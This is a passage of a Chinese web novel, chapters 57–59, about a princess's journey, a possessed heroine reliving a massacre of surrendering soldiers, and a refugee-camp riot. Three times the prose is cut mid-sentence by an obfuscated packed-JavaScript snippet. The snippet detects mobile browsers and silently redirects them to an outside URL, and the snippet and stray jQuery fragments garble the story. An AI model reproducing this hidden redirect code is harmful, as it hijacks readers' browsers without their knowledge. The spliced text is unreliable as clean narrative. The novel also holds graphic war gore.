再久,也总会寄到吧。 有了盼头,面对这些枯燥的案牍,日子也不算太难熬。 看到末尾,每封信都有的那句“君勿忘餐饭、早眠”,他会心一笑,唤来门外侍立的黄门,问御膳房是否有新的菜式,每样传些来尝尝。 七月的清晨已不太暑热,用过早膳,元旻登上城门,极目南望,俯视着熙熙攘攘的昇阳。 城门口的马车吸引了他的注意,那是一辆双马拉动的轺车,帷幄由白色、金色交错而成,一袭红裙的元昙正站在车前,面向外边,客客气气跟人说着什么。 她身前三尺处有名男子,身躯站得笔直,头却微微低着,不是他那便宜表弟、北宛质子冯彬,却又是谁? 二人说了约莫一刻,元昙始终笑得端淑有礼,冯彬头却越埋越低,隐隐可见面庞发红。及至最后,元昙上车离去,他仍呆立在原地,怔怔望向马车消失的方向。 “怂,真怂”,元旻忍俊不禁,“就算追去洛京,谁能杀了他不成?” 近日传来塘报,元晞沿途合兵十五万,在七月初五抵达广宁城,谢朗的重甲兵也已脱困,二人配合默契,已将燕州平原游荡的北宛骑兵一扫而空,同时夺回了怀戎,正顺乾河同北宛大军酣战。 怀戎城西的壕沟也已填好,宣正浩率的两万轻骑、两千铁骑支援已到,眼下正与宣庆府大军呈东西夹击之势。 朔北外患大势已定,毕竟是血亲,他这条命,留着便留着吧。 虽说性子太荏弱,弱也有弱的好。假以时日,可能会派上大用呢。 想了想,拿定了注意。 元旻含笑道:“叫冯彬上来,再去传元晢他们入宫,一起去龙津围场打猎。” . 灵昌王宫,长秋宫前殿。元晴和紫菀已收拾好行装,正拜别萧玥娘。 经过半月悉心调理,萧玥娘虽仍旧枯瘦,两颊肌肤已有了光泽,双唇也透出血色,气色已大好。 “多谢公主不远千里,为妾奔走”,萧玥娘挽着元晴胳膊,恋恋不舍,“大恩不知如何答谢,公主何不在灵昌多待些时日,养好元气再走?” “略尽微力,何足挂齿”,元晴笑道,“我有使命在身,无法与娘娘长久相伴,深以为憾。” 想了想,又叮嘱道:“我不通政事,却也听闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981266|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苻洵狡诈,还望娘娘压制权臣之前,先以自身安危为重。” 萧玥娘正色注视着她,重重点头。 殿外忽传来苻沣的声音,越来越近:“玥娘,我要去渝安检阅水师,大概得半个月才回来。” 他走到殿门忽然停住,道了声“唐突了,不知五公主也在”,侧过身向右走了几步,避开大门才堪堪站定。 萧玥娘柔声道:“可巧,陛下也要去渝安。五公主不如同行,有个照应。” 元晴心思坦荡,笑吟吟道:“好啊,那就有劳陛下了。” 几天后,珪山大渡口,风急碧天高,烟淡水云阔。 苻沣下了仪驾,走到元晴乘坐的安车前,隔着帘子躬身长揖:“只能相送到此,救命大恩无以为报,小王安排的战船只能护送二位至阜门峡,余下水路只有商船。” 马车一直在晃,元晴的声音有些慌乱:“啊?好,多谢,有船就很好了。” 车帘忽然从里拉开,元晴拉着紫菀轻盈跳下车来,向他回了一礼:“陛下还真是客气,如此大礼怎受得起?” “凰羽寺少祭司,与翊王陛下平起平坐,小王莫说如此小礼,就是三跪九叩也使得。” 沉声说着,苻沣抬眼看了一眼她们,顿觉后脊一僵,忙飞快低头,不敢再看第二眼。 方才马车晃荡,竟是二人在车内更衣。下马车时,她们已换好蛮族服饰,都是圆领大襟右衽衣、百褶短裙,袖不过肘、裙不过膝,白嫩的下臂和小腿明晃晃露在外面。 “陛下何时结识了如此佳人”,江边传来轻笑声,飒飒秋风中,苻洵穿一身银色软甲,大步流星走来,“五公主着蛮族服饰,甚美。” 苻沣低叱:“不得无礼!” 苻洵单膝下跪,面向三人逐一抱拳,含笑道:“战船已备好,请公主登舟。” 元晴也不客气,拉着紫菀往江边走去,走到他身边时,忽然停下来,笑了笑道:“听闻建业侯生母出自蛮族,不若与我们同舟,回蒙舍省亲?” 苻洵笑容僵在脸上。 元晴也不等他作答,径直走过,不多时就上了船,扬帆远去。 苻洵定定神,放低了声音:“王兄,臣的妾侍已安排妥当,她已有身孕,上天有好生之德,求王兄开恩……王兄?” 苻沣正看着江面,被他连唤数声才回过神:“你动作倒快。” 注视他良久,叹了口气:“阿洵,之前从未问过,翊国女子真就那样好,好到你这么多年都念念不忘?” “好不好、有多好,王兄心中像是有定论”,苻洵觑着苻沣神色变化,忽然笑了,“臣弟是说——曾经沧海难为水,王兄信不过臣弟,还信不过翊王的眼光么?” 见苻沣不语,声音又低了几分:“先前在洛京,臣心痛难耐、一时意气用事,往后这些为国招灾的妄行,再不会有。” “罢了,不过一场空待”,苻沣也笑了,有些苦涩,“阿洵也大了,从今往后,你自己的内帷,想怎么过就怎么过吧。” 苻洵见他满怀愁情,轻声道:“臣弟有一事相求。” “求王兄另选贤才,节制渝安水师;此外,再给臣三年,为王兄整肃军务,练一批可用之才。” “然后,请允臣功成身退!” 苻沣讶然:“为何?” 苻洵用余光瞄着他脸色,缓缓道:“征战初有成效,朝中便物议纷纷,臣再谨慎,也不过‘王莽谦恭未篡时’。” “权势于我如浮云,臣无王兄,无以至今日。” “谁敢离间我兄弟感情”,苻沣愠怒,“阿洵肯为旧爱空守多年,何等至情至性,岂他们污蔑?” 苻洵不再说话,深深埋下头去,注视着地面的眼神,逐渐冷硬如铁。 57. 一将功成万骨枯 长流川,四季长流,流向天际。 过了阜门,船头甲板上,元晴凝视着滚滚东逝的江水,迎风而立,蹙眉沉思。 紫菀端着两杯茶走到她身后,一杯自己喝,一杯递给她,好奇地问:“师姐,你在想什么?” 元晴沉声道:“苻洵。” 紫菀“噗”地一口喷出茶水:“你又不喜欢他,有什么好想的?” “什么喜欢”,元晴诧异转头,“我在想他跟别的事。” 紫菀晓得自己会错了意,忙收敛嬉笑,眼巴巴盯着她,等她继续往下说。 元晴神色凝重:“紫菀,你可听说,大道五十,天衍四九,人遁其一。” 紫菀点头:“世间万物发展规律有五十条,能推演、预测、卜算的占四十九条,还有一条不符合规律、智者都无法预测的变数,这个变数通常遁于人世,由某个、或某几个人应天命而担当。 “苻洵,就是这个变数”,元晴幽幽道,“从昇阳出发前,我向四哥打听了关于苻洵的很多事。” “他是蛮疆圣女之子,本该永留十万大山,却一降世就被送出山外。” “一生颠沛,却次次死里逃生。母亲身死,恰巧被苻沣所救;入翊为质,差点死在龙津围场,被褚姐姐所救;本该被烧死在蒙舍山火,又被四哥派人救了。” 紫菀叹气:“王上也太好心,要是不救就好了。” 元晴摇头:“他的命格,很难被杀或死于非命。没有四哥也会有别人救……就算死了,这个变数还会在别处、以别的身份降生。” 紫菀沉思片刻,又问:“这样看来,他也只是活得坎坷了些,如今这世道并不太平,如此颠沛之人还有许多,为何认定是他?” 元晴笑了笑:“还是从四哥那知晓的,说了他种种天赋,还有些不愿同外人讲的旧事。” “四哥算得上天资卓绝,从五岁起,雷打不动天天习武,苻洵十三岁才开始碰刀剑。可一打照面,四哥就被他砍得站不起来。” “四哥从小就泡在学堂里、兵书里、军营里,如今掌管军务才算娴熟;苻洵十七岁之前从未领过兵,却一接手军队就得心应手,今年在外征战,几乎片刻不停,还都是以少胜多,从无败绩。紫菀,你见过这样的天才么?” 紫菀听得入迷,不禁摇了摇头:“史书上那些战神、兵仙,怎么也要学几年。” 元晴赞许地点点头:“就好像,他这个人,就是为征战而诞生的。” “这样的命格,个个都六亲断绝、天煞孤星。就算身边出现过牵挂之人,天命也会生出意外,替他一一斩断干系。” “苻洵曾想隐居深山,与外祖父也过了段宁静日子,却在年初因一场山火,外祖父尸骨无存,他再度无家可归。” “苻洵对一位姑娘用情至深,那姑娘也曾对他一见钟情,结果却是个有婚约的。” “这也太惨了”,紫菀吸了吸鼻子,掬一把同情泪,“师姐,不如想法子撮合那姑娘和他在一起,他有了牵挂就不作恶了。” “你敢”,元晴声音陡然高了几分,马上轻咳两声掩盖,“哪有好好去拆人姻缘的,你这样岂非害人?” 顿了顿,怅然道:“就算那姑娘与他相守,天道也会以别的方式替他斩断。” 紫菀双眸一亮:“王上一个大男人,怎么对苻洵的事这样清楚,他们该不会是……” “对啊,他们在灵昌是至交好友”,元晴赶紧点头,“洛京会盟还是他们促成的。” 紫菀恍然大悟:“难怪王上对他那么好,可那是个凶星,师姐还是劝劝王上吧……还有,这样的煞星,不知往后会带来何等灾祸?” 元晴苦笑:“我如今想清楚了,此次下山,正是为苻洵而来,咱们得寻找制衡他的力量。既已去过了他的生长地,再去他的出生地看看。” “不过可能没用。” “苻洵是应天命而生的煞星,一般人很难伤其根本。” “还好,天道不会坐视动荡持久,如同形与影,必有克制他的人,同时应天命降世”,看着紫菀担忧的双眼,元晴语气柔和了些,轻声叹息,“只是不知那人现在何方,何时发挥作用,这战乱一起何时方休?” 紫菀听得似懂非懂,叹了口气:“战乱一起,不知又几多冤魂。” “冤魂……褚姐姐……”,元晴散漫的心绪忽地一收,沉声问,“紫菀,今天初几,中元节到了没?” “师姐晕得太久,中元节已过了”,紫菀思索片刻,肯定地点头,“今天是七月十六,褚娘子怎么了?” 元晴怔住了,注视江面许久,终究只能长叹一声:“还是,只能她自己扛过去么?” “民间传闻,七月初一开地门,七月十五鬼夜行,七月二十九关地门……整个七月,阴阳重叠,无数鬼魂游荡人世间。” 紫菀感觉一股阴风从背后吹来,颤声问:“师姐,咱们修士也信这个么?” “不信,这世上哪有鬼魂,都是‘怨’”,元晴神色凝重,摇了摇头:“临死之人执念最重,结作怨气四处游荡。褚姐姐是武将,自带一身罡气,百十个怨气都伤不了她,可她体内被人施加秘术,种了十万个。” 紫菀小脸煞白,磕磕巴巴问:“十、十万,到了七月……七月会怎样?” “紫菀,你见过磁石吗?大磁石吸附小磁石……” “原本人死灯灭,执念飘荡久了,会变得模糊,会懵懂迷惘。到了七月,地气至阴,它们受地气滋养壮大,又会重新凝结成‘怨’。” “而那些强烈的执念,也就是原有的‘怨’,会被成倍放大。” “褚姐姐身负十万怨念,就像一块行走的大磁石。所有不知去向的怨都将对她趋之若鹜……” 紫菀不寒而栗,咽了口唾沫:“然后呢?” “心性稍有不稳,会被拉入亡者临终的执念,在无数梦境幻境里感同身受,日复一日迷失自我……只能靠自己硬撑,撑不过去,将永坠梦魇。” . “统领,首领不见了!”天还未亮,天璇天玑冲进玉衡的房间,将他一把从床上薅起来。 玉衡一个激灵站直:“怎么回事?你们房间不是挨着的吗?” 天玑急得掉泪:“她这几天一直睡不好,夜里大喊大叫,昨晚上好容易静了。前半夜我还偷偷进去看过,睡得很沉。” 玉衡插嘴问:“你半夜进她卧房作甚?” 天璇忙将话题拉回:“昨晚是中元节,首领睡前还特意把窗子关好了,一夜没听到任何异响。” 天玑附和:“她睡前,还让我们今天卯中叫她起来。就算临时外出,也要知会一声吧。” 玉衡瞪了她们一眼,冲进舜英房间上下左右逡巡,只见窗子从里面闩住,床褥、被子整整齐齐,好似从未住过人。 “褚姐姐是自己走出去的。”三人正疑惑着,少年的声音突然在楼梯上响起,元旭正拉着掌柜进来。 掌柜擦了擦冷汗:“昨晚小的值守,大约是三更,看到了你们说的那位夫人。她脚步很轻,要不是出门必须经过柜台,根本发现不了。” “小的想着中元夜,出门不吉利,就喊了两声,她也不搭理我……现在想来还瘆得慌,她那眼睛直勾勾的,步子也轻得没一点声……” “小的吓得赶紧顶上大门,上楼来敲几位贵客的门,敲了几声没人应。念着这日子不好,老敲门晦气,就下去了。” 玉衡后背起了层冷汗,一拍脑门:“对啊,我昨晚似乎睡得特别沉。” 天玑抽噎道:“大约是三更,我刚去看过她,回来打了会儿盹……就那会儿。” “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981267|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不对”,天璇摇头,“在座诸位,夜半值守多少年了,几时困得打盹过?” “既是自己走出去的”,元旭沉吟道,“不如咱们下楼守着,指不定她自己回来了。” 此话一出,天璇天玑死死盯住他,目光令他不寒而栗。 玉衡不置可否,目光在房里细细搜索,忽然盯住卧榻,一个箭步走过去,抽出一物。 “她走出去时,绝对不是清醒的”,玉衡沉声断定,“这把剑是王上所赠,她从不离身。” 玉衡从枕下抽出的,是一柄软剑,银白如月,剑身刻着两个古篆——飞廉。 . 月亮静静悬在头顶,又大又圆,红得滴血。 天空黄中透红,雾蒙蒙什么都看不清,热烘烘的干风,裹着碎石和沙尘拍到脸上,带来浓郁的腥臭和腐败味。 她睁开双眼的霎那,肩膀、腹部、腿突然传来钻心的疼痛。 茫然看去,右边肩膀以下光秃秃的,肚皮横向豁开,流出来的肠子拖在外面有些发黑,左腿膝盖以下也没了。 刚刚意识到自己腿没了,站不起来,她就一屁股跌坐在地上。 厚厚一层黏膩,褐色的血浆没过脚背,她伸出仅剩的左手撑地,却按在一个僵冷湿滑的东西上。 定睛一看,那是半个脑袋,撒了一地黄黄白白的浆子,眼睛和嘴巴都惊恐张开,表情永远定格在那一刻。 她的拇指正按在暴突的眼球上,无名指和食指伸进了尸体嘴里。 她听到自己发出男人的哭嚎:“栓子!” 仿佛被她这一声哭嚎唤醒,周围的雾又散了些,放眼望去,全是破碎的遗骸。 一条腿、一只手、几粒眼球、半截身子、七零八落发黑的内脏、头皮上连着一蓬乱发…… 腐臭味越来越浓郁,她张口想呕,却什么都吐不出来,肠胃只剩空荡荡的烧灼感。 一个小男孩匍匐着爬过来,满脸黑灰和凝固的血,徒劳捧起她流了一地的肠子,眼泪鼻涕齐刷刷往外流,那张歪瓜裂枣的脸更丑了,却怎么看怎么亲切。 她听到男孩压低声音啜泣:“二哥,都死了,咱们村出来的都死了。” 她张了张嘴,喉咙干得像被火烤过,发出粗粝的男声:“小五,你还没满十四,一定要回家。” 男孩眼泪更多:“哥,外头都说咱们是叛军,回不去了……” 她伸出手,用尽最后力气,摸了摸男孩头发,将他拉过来护在身下:“小五,藏好了。” “等他们走了,悄悄逃回去……老娘还在家,地没人种……唔……” 她说不下去了,几支长矛戳进她的肺管子,戳穿了身体,连同她护在身下的小五,一并钉在地上。 这是她眼前彻底变黑前,看到的最后景象。 黑暗中,身后好几声大喊;“这还有活的!” 不能死在这,要回家,回家。 所有的疼痛都消失了,身体变得很轻,她从地上坐了起来。下意识转身看了一眼,地上躺着的那个男人,枯瘦如柴,一脸络腮胡…… 自己好像不长这样…… 自己该长什么样? 我是谁? 耳畔传来阵阵欢呼,像海浪一潮高过一潮,隐隐是——郑将军万岁! 黄色的雾气里影影幢幢,显出个一个又一个身影,高头大马、披坚执锐,飘拂的旌旗上写着——“滬”。 为首的将军大喊:“旸王昏庸,纵容奸臣侯万固作乱,今我郑邕替天行道!” 士兵齐齐大喊:“替天行道!替天行道!” 与我何干?回家……我要回家……娘还在家……田里的庄稼该收了。 血红的月亮下,她荡悠悠地飘了起来,透明的身躯穿过志得意满的将军,穿过欢呼的士卒,飘向南方。 58. 出师未捷身先死 “立即快马飞报!八百里加急!”天玑在屋里踱来踱去,想了想又说,“统领,把所有撒出去的人召回来吧,先去找首领。” 天璇看了她一眼,走到书桌旁坐下,铺陈纸笔。 玉衡点点头,看着天璇:“多写几封,这事不能让滬南这帮人知道,不能让驿丞送。” 沉吟片刻,又说:“这次南下带的人多,我派三队人马走不同道路,把信亲自送到王上手里。” 天璇抬起笔,注视着空白的纸面,思索信笺的措辞,天玑走过去,替她磨墨。 元旭一直默不作声站在门口,看他们各忙各的,犹豫了半晌,鼓起勇气开口:“不要这样报给王上。” “她是你未来的王嫂”,玉衡腾地炸了,跳起来怒目看向他,“还是王上心尖尖上的人,出了差池,咱们这层楼的人加起来都兜不住!” “我就是知晓褚姐姐的分量,才不敢这样报”,元旭吓得退了一步,躲开他的目光,低声坚持道,“统领且想想,就这样报出去,王上会如何?” “自然是再加派人手”,玉衡脱口而出,双眼忽然惊恐地睁大,“不对!” 元旭注视着他双眼,沉沉点头:“他会直接发兵!” “王上再稳重、再大局为重,触了他逆鳞,也难免不管不顾,直接挥师南下。” 玉衡焦躁的脑子冷静了下来,后怕地喃喃:“他本就不放心首领,想直接发兵,后来不知迟疑了多久才想通。” “若真的打起来,且不说朔北未平、南方又起战事,如何空耗国力。” “滬南再度陷入战火,生灵涂炭,矛盾再度激化,十几年收归前功尽弃……可首领该怎么办?” 走廊里传来沉稳的女声:“自然是继续去找。” 郑锦珠和许姿从走廊上疾步走来,都罕见地卸了满头珠翠,只包了个巾帼髻,穿了身利落的窄袖短打。 素来端静少言的郑锦珠,此时决然道:“咱们已入萝州境,离燮陵很近。本宫幼时随父游玩甚多,对这周边还是很熟,自然义不容辞。” 许姿和元旭点头附和:“我也去,人多力量大。” 玉衡摇头:“六殿下和许大人的行程,早已报给当地官府,逾期未至恐节外生枝。” 天璇补充道:“护国公是郑娘娘叔父,避而不见似乎也说不过去。” 郑锦珠缓缓摇头:“阿旭和许姿得去,至于本宫……有不去拜会的理由。” 她突然看向元旭,眼神冰冷:“去了护国公府,替我传一句话——侄女向府中女眷问安,奚夫人可还康健?” 玉衡似乎意识到什么,意味深长瞥了她一眼,轻轻叹了口气。 . 许姿忽然弱弱问:“要是一直找不到呢?” 元旭想了想,定定注视着玉衡:“三天时间,如何?” “咱们先找三天,再无下落即刻上报!” 许姿愣了愣:“你怎么知道三天够不够?” 元旭叹气:“三天三夜,不是能否找到褚姐姐的时间,是从这儿传信到昇阳,不计马匹和信使的生死、夙夜狂奔,能用的最短时间。” “此处距离燮陵不足百里,顾星阑与王上通信频繁,三天之内还没下落,咱们不报……顾星阑等不到首领,也会向王上报!” 玉衡重重一拳击在手心:“马厩未动,她神志不清,走不了多远,三天,值得赌一把!” 元旭想了想,鼓起勇气继续说:“到时就说,是我阻拦的,陛下再生气,总不至于杀了亲兄弟。” “你的话……杀人不至于,一顿廷杖肯定跑不掉”,玉衡沉吟片刻下定决心,“那就分头行动,六殿下和许大人继续去燮陵,其余人跟我来。” 沉思中的郑锦珠,忽然抬头:“既要寻人,不能无的放矢,虽不知她为何出门,既是在中元夜失踪的,可能和一些妖鬼咒术脱不开干系?” 玉衡会意,回忆了片刻,喃喃道:“听王上说,首领前些日子常做噩梦,滬南素来有怨气缠身之说,能让她这样的武将噩梦连连的……娘娘,附近是否有亡者聚集之地,比如乱葬岗、古战场。” 郑锦珠略作思忖,目光陡然一亮。 “城西郊外三十里有宁皋山,六十一年前夏,滬成王奉命讨逆,在此歼灭侯万固的两万精兵,自立为王。” . 冷,好冷…… 滬南从来没有这么大的雪…… 她恍惚记得,自己是往南,怎会越走越冷? 睁开眼,头顶只有两三丈宽的天空,光秃秃的石头山,鹅毛大的雪片纷纷扬扬坠下来,已积到小腿肚。 峡谷蜿蜒不见头,白色的雪地半埋着数不清的人。有的人脸色乌青、牢牢冻在地上,有的人靠在石头坡边,一动不动、身上结着厚厚冰层,脸上挂着甜蜜的笑。 身后有人推她:“校尉,咱们已被翊军围了快半个月,一颗粮都没了,去劝劝将军,投降吧。” 那人说着哭起来:“非属下贪生怕死,只是走之前,家中娘子刚怀上娃,属下想再看一眼老婆孩子。” 她听到自己用男人的声音叹息道:“翊军这次像是有备而来,打了一年半,一直在胜……” 忽然压低了声音,盯着身后同袍,激动地说:“龙首山是燮陵最后一块屏障,守不住,咱们就得亡国……你知道亡国吗?咱们的父母、女人、孩子,都会被虐杀、被奴役、被侮辱……” “不能降!” 远远响起吼声:“突围!” 紧接着,山谷里的“死尸”缓缓站起来,麻木地向一方较为平缓的陡坡蠕动过去,她跟着队伍,努力弯曲僵直的手指,扒着坚硬的岩石向上爬。 好饿啊,眼前一阵黑一阵白,肠胃空空像是被冰霜冻住了。 掉下来,继续爬…… “轰隆隆”,无数石块从头顶滚下来,大的像铁锅、小的像碗……他们爬上去不到两三丈,纷纷被砸得头破血流,向下滚去。 在被石头砸晕,跌下山谷的瞬间,山上的景象在她眼中越来越清晰。 谷顶密密麻麻全是人,站立在风雪中巍然不动,他们身上的军衣看起来好厚、好暖和。 正中间是三十多岁的将军,全身玄甲,高高在上、漠然地盯着谷底这些蝼蚁挣扎。在他身后,红色旌旗翻卷着一个字——翊。 耳边传来绝望的嚎啕:“你们还是人吗,他们是你同袍的战友?” 她茫然望去,只见那些饿的眼睛发绿的士兵,拿着刀子割下尸身上的肉,大口撕咬着,抻了抻脖子,哽下肚去。 紧跟着,将军拔起帅旗、放倒在地,坚硬如铁的双膝铿然跪下,崩溃地对着山上嘶吼:“降!我们降!” 奇怪,明明那么远,山顶那将军的一举一动,她都看得清清楚楚。 那身披玄甲的将军淡淡道:“是时候了。” 轻松得像吃饭喝水一样。 身边副将迟疑:“这可是七万人命,杀降不祥!还请贺将军三思!” “降而复叛的还少么”,贺将军面无表情,抬手拂去剑上的霜雪,“他们是人命,我大翊男儿就不是人命?” 剑锋森白,重重挥落,将翻卷在半空的雪花斩为齑粉。 万箭齐发。 箭矢没入胸腔的刹那,跪地的降将用尽全身力气,凄厉诅咒:“贺浮白,你不得好死!” “我死之后,必将化作厉鬼,率七万亡魂,夜夜纠缠于你……直到你受尽折磨,痛苦而死!” 贺浮白漠然收剑回鞘,一言不发。 她感到自己又变轻了,长长的峡谷里,无数同她一样的透明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“死了……死了……” “仇人已死,我们又该去向何处?” “我们的故土已沦陷,那就向千千万万翊民复仇……” “好远……好累……” “好想回家……” 吵死了!她捂住双耳,纷纷扰扰的争执声仍不断涌入她的双耳。越来越响、越来越模糊,无数声音在喃喃呓语,间杂着尖锐的笑声和呜咽…… 忽听一声有力的低叱:“倾听我的接引,栖入这引魄的刀,刺进那个罪恶的心脏,蛰伏、苏醒……杀死大翊的王!” 狂风呼啸,她融入的黑色飓风开始缓缓转动,飞出营帐,北边静静挂着一轮血红的月亮。 新鬼烦冤旧鬼哭,天阴雨湿声啾啾。 他们飞奔在无尽的原野上、死寂的夜色中,圆月下的平原铺满尸骸,尸骸上溢出丝丝缕缕的黑雾,融入到他们之中,越来越壮大…… 旋转着、叫嚣着,缩成一团血红的咒文,淬入冰冷的刀锋。 物换星移几度秋? 胸中的恨意越消磨越淡,只剩夜夜对着虚空,看着天边那永远不变血色月亮,怀想那回不去的故乡。 她再度苏醒,看着自己附在刀身上,带着那滔天恨意、怨毒诅咒,刺向一个幼稚的身躯,钉入一颗跳动的心脏。 久违的暖春美景令她泪流,视觉和痛觉逐一恢复过来,她发现自己正在水中下坠。 水从四面八方挤来,滚烫的疼涌入四肢百骸,血雾裹着她下沉,越来越远…… 一道身影分水而来,白色骑装,衣袖上淡金的纹绣,是曲水、云纹和鸟羽。 那人搂住她,奋力游上水面。 他在喊——“阿七!” 他在她的视野里飞速长高长大,耳鬓厮磨、亲密无间。 十万亡魂在耳畔叫嚣——“是仇人!” 密不透风的叫嚣中传出一股剧痛,身躯的原主挣扎着厉喝——“是亲人!” “杀了他!” “你们休想!” 59. 哀民生之多艰 燮陵城南郊,支着一排二十多个粥棚,灾民们捧着破碗、瓦片,排成歪歪扭扭的队列。 他们都弓腰驼背、衣衫褴褛,肚皮深深凹陷下去,面颊却浮肿得发亮,耷拉着眼皮,随着队列缓缓蠕动。 顾星阑穿着洗得发白的布衣长袍,许姿穿一身灰色短打,包了个不起眼的巾帼髻,跟在他身后,在简易的棚屋间缓缓踱步。 “已经五天了,还没有消息”,顾星阑叹了口气,“出发前,王上要微臣五天一报,可怎么是好?” 他们本以为,顾星阑出身寒微,必然极其惜身,不敢沾染半点干系。 岂料,顾星阑得知舜英失踪后,非但没连夜急报,反同她商议如何瞒得更久。 许姿苦笑道:“先前发生的一切,顾大人皆毫不知情。大人食君之禄,请如实禀报。” 顾星阑看了一眼望不到头的灾民,不忍地闭上眼:“天子之怒,伏尸百万,好容易安定这流离失所,届时又有谁能收拾那哀鸿遍野啊。” 他抬头望向北边,指向城北的起伏的丘陵:“那一脉丘陵叫龙首山,只有五百余丈高,曾是阻挡翊军攻入燮陵城的最后一道屏障。” “山中有一道峡谷,长达数十里,叫丹河谷。” “征和五年冬,我朝名将贺浮白,将七万滬国精兵诱入丹河谷,断水断粮围困半月,趁他们军心涣散、缴械投降时,将他们尽数射杀。” 许姿瞠目结舌:“杀降?” 顾星阑点点头,又缓缓摇头:“那是滬国最骁勇的一批战士,降而复叛多次,折损我朝不少将士。” 许姿感慨:“倒是些好男儿,说起来只是立场不同,都甚无辜。” 顾星阑苦笑道:“兵者,不祥之器,不得已而用之。无论初衷是什么,再是无辜纯善之人,上了战场,也只剩你死我活了。” 许姿蹙眉思索片刻,追上去问:“那为何,国君总会轻言刀兵?” “除了抵御外敌,不得已而为,便只剩一个原因”,顾星阑幽幽道,“那些国君坐在深宫太久,早已忘了死亡为何物。” “除非,战火切切实实烧到了自己身上。” 他收回些目光,举手指向燮陵城中一座断裂的高楼:“那座塔,曾叫天风楼。二十六年前,滬惠王郑载秀过世,其弟郑载武想染指王位,发动政变,太子郑尧嘉逃出深宫,躲入此楼。” “后来郑载文联合太尉郭越、丞相孔兆维,收拾了叛军,在天风楼拥立郑尧嘉为王,此楼改名龙兴。” 许姿苦笑摇头:“他们争权夺势,燮陵百姓何辜?” 顾星阑笑容讥诮:“这位亲身经历战争的滬怀王,从此骇破了胆,竟将军政大权尽数交于太尉和叔父,自己每日深居高阁、花天酒地。” 屋后传来一阵喧嚣,二人急忙循声过去察看,只见五六个男子捋袖揎拳,正围着一个人殴打。 中间那人穿的破破烂烂,头发蓬乱,满脸满身都是血和污泥,身段瘦伶伶的,打起架来却十分狠。 几个男子正同那人争夺什么,那人身上挨了不知多少拳脚,身子晃了晃,却仍旧站得稳稳的。双拳难敌四手,就全不防守,逐一挥拳招呼那伙人。 顾星阑摇了摇头,招呼官兵去拉开斗殴之人,转身欲走。五六个男子被拉开,其中一人紧紧拽着段细绳不放,细绳另一端攥在被围殴的人手里。 官兵强行要分开两人,拖拽中扯到了细绳,那人挣扎着对所有人拳打脚踢,愤怒大喊:“还给我!” 听到那声音,已走出数丈远的许姿身躯一震,转身怒叱:“住手!” 顾不上许多,她冲过去推开官兵、踹开拽着细绳的男子,将被围殴的人拉起来,紧紧抱住,喜极而泣。 “阿英!” 舜英两眼空洞,右手无力垂下,掉出方才抢夺之物。 那是一块成色中等的岫玉,精雕细琢成首尾相连、亲亲热热的两条鱼。 被许姿一脚踹开的灾民大喊:“当官的打人啦!” 呼啦啦围上来一圈衣衫褴褛的彪形大汉,摩拳擦掌冲向她们,旁边值守的官兵见状,纷纷拿着武器奔向窝棚。 顾星阑心惊胆寒,高声呵斥:“别……” 话未说完,白光一闪,原本在窝棚歇息的一个灾民,捂着脖子跌跌撞撞冲出来,血从指缝不断飙出。 他边跑边怆然哀嚎:“官兵杀人了——” 官兵围拢过去时,窝棚区的其他棚子里又逃出几个灾民,有衣衫不整的妇人、抱着哇哇哭嚎的婴孩,有风烛残年的老人,有奄奄一息的病人……逃出来的人越聚越多,惊呼不断。 赈灾至今,虽尽力筹措粮饷,随着灾民增多、条件有限,不能照顾周详。墙内是歌舞升平的燮陵,墙外是饥寒交迫的棚区,受限于医护条件,不时有人重病而死。 一个多月以来,窝棚区积攒了不少怨气,被这一煽动,纷纷冒头出来。 来逃难的,这一片是某地的同乡,那一片是沾亲带故的亲戚,一见发生惨案,纷纷从栖身的棚子里冲出来,赤手空拳围住官兵痛殴。 事发突然,混在灾民里的隐蝠卫匆匆往里挤去,挤到他们跟前时,几个强壮些的灾民已揪住了顾星阑和许姿,正挥拳重击他们腹部,再次挥出时,指缝中透出寒芒。 隐蝠卫听命未携利器,仓促之下扔出几个石子,将那些人手中匕首弹飞,揪起行凶者高呼:“别打了!官兵没打人,这些才是真的凶徒!别打了!” 人群静了瞬间,隐蝠卫刚松了口气,突然感觉手头一沉,那几个凶徒已软软栽倒,口鼻鲜血泗流。 “又杀人了!”有人带头惊呼。 紧跟着更多的喊声响起来。 “打死他们!”、“他们在城里吃香喝辣。”、“咱们在城外挨饿受冻。”、“病死了都没人看!”“贪官恶吏!”、“打死他们!”、“打进燮陵城!” 隐蝠卫百口莫辩,扔开手中尸体,拖起顾星阑和许姿就往外跑。人群推推搡搡,怎么都挤不开。 “结锋矢阵!”一声断喝撕破混乱。 许姿惊愕回头,舜英不知何时已起身站得笔直,眼神冷厉:“我打头阵,开阳断后,其余人护住两翼,攻!” 隐蝠卫心头一凛,虽不认识眼前褴褛邋遢的女子,却听懂了她说的锋矢阵和开阳。迅速散成两列,将顾星阑和许姿护在阵型中后,下意识望向处于“箭尾”的女子。 那女子轻飘飘纵身跃起,足尖在他们肩头轻轻点过,落在“箭头”位,手在腰部一抽、豁然甩出。 长鞭破空,阻在前方的人群霎时被抽得皮开肉绽、七歪八倒,正要起身理论,第二鞭又抽下…… 